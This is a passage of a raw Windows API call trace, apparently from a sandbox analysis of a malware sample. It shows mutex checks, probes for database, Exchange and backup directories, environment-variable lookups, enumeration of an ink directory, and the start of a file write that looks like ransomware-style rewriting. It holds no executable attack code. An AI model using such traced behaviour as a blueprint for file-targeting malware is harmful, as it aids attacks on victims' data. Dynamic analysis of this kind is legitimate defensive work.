lpLocalFileTime=0x18ea84) returned 1 [0046.897] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.897] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.897] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.897] GlobalUnlock (hMem=0x44000c) returned 0 [0046.897] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.897] GlobalLock (hMem=0x440004) returned 0x554190 [0046.897] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.897] GlobalUnlock (hMem=0x44000c) returned 0 [0046.897] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.897] GlobalUnlock (hMem=0x440004) returned 0 [0046.897] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.897] GlobalLock (hMem=0x440004) returned 0x552180 [0046.897] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.897] GlobalUnlock (hMem=0x440004) returned 0 [0046.897] GlobalLock (hMem=0x440004) returned 0x552180 [0046.897] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.897] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.897] GlobalUnlock (hMem=0x440004) returned 0 [0046.897] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.897] GlobalUnlock (hMem=0x44000c) returned 0 [0046.897] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.897] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", len=0x44 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web") returned 1 [0046.897] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.897] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.897] GlobalUnlock (hMem=0x44000c) returned 0 [0046.897] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.898] GlobalLock (hMem=0x440004) returned 0x554190 [0046.898] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.898] GlobalUnlock (hMem=0x44000c) returned 0 [0046.898] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.898] GlobalUnlock (hMem=0x440004) returned 0 [0046.898] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@☒R◦R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.901] GetLastError () returned 0x3 [0046.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18㽜Q\x181")) returned 0xffffffff [0046.901] GetLastError () returned 0x2 [0046.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@♔R企@\x18?T\x18;")) returned 0xffffffff [0046.901] GetLastError () returned 0x2 [0046.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18D")) returned 0xffffffff [0046.902] GetLastError () returned 0x2 [0046.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18♔R\x18j")) returned 0xffffffff [0046.902] GetLastError () returned 0x2 [0046.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0046.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18q")) returned 0xffffffff [0046.902] GetLastError () returned 0x2 [0046.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\♐RP") returned 6 [0046.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@⊤R企@\x18?T\x18y")) returned 0xffffffff [0046.903] GetLastError () returned 0x2 [0046.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18?T\x18\x81")) returned 0xffffffff [0046.903] GetLastError () returned 0x2 [0046.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18\x88")) returned 0xffffffff [0046.903] GetLastError () returned 0x2 [0046.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@⊤R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.903] GetLastError () returned 0x2 [0046.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18?T\x18\x97")) returned 0xffffffff [0046.903] GetLastError () returned 0x2 [0046.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.903] GlobalLock (hMem=0x440004) returned 0x552180 [0046.904] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.904] GlobalUnlock (hMem=0x440004) returned 0 [0046.904] GlobalLock (hMem=0x440004) returned 0x552180 [0046.904] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.904] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.904] GlobalUnlock (hMem=0x440004) returned 0 [0046.904] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.904] GlobalUnlock (hMem=0x44000c) returned 0 [0046.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.904] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.904] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.904] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.904] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.904] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.904] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.904] GlobalUnlock (hMem=0x44000c) returned 0 [0046.904] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.904] GlobalLock (hMem=0x440004) returned 0x554190 [0046.904] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.904] GlobalUnlock (hMem=0x44000c) returned 0 [0046.904] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.904] GlobalUnlock (hMem=0x440004) returned 0 [0046.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\") returned 0x45 [0046.905] GlobalLock (hMem=0x440004) returned 0x552180 [0046.905] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.905] GlobalUnlock (hMem=0x440004) returned 0 [0046.905] GlobalLock (hMem=0x440004) returned 0x552180 [0046.905] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.905] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.905] GlobalUnlock (hMem=0x440004) returned 0 [0046.905] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.905] GlobalUnlock (hMem=0x44000c) returned 0 [0046.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.905] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.905] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0046.905] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.905] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.905] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.905] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.905] GlobalUnlock (hMem=0x44000c) returned 0 [0046.905] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.905] GlobalLock (hMem=0x440004) returned 0x555198 [0046.905] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.905] GlobalUnlock (hMem=0x44000c) returned 0 [0046.905] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.905] GlobalUnlock (hMem=0x440004) returned 0 [0046.905] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.906] CharLowerBuffW (in: lpsz="webbase.xml", cchLength=0xb | out: lpsz="webbase.xml") returned 0xb [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", cchWideChar=80, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xmle", lpUsedDefaultChar=0x0) returned 80 [0046.906] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\web\\webbase.xmle", lpUsedDefaultChar=0x0) returned 4 [0046.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0046.907] WriteFile (in: hFile=0x190, lpBuffer=0x1e61db8*, 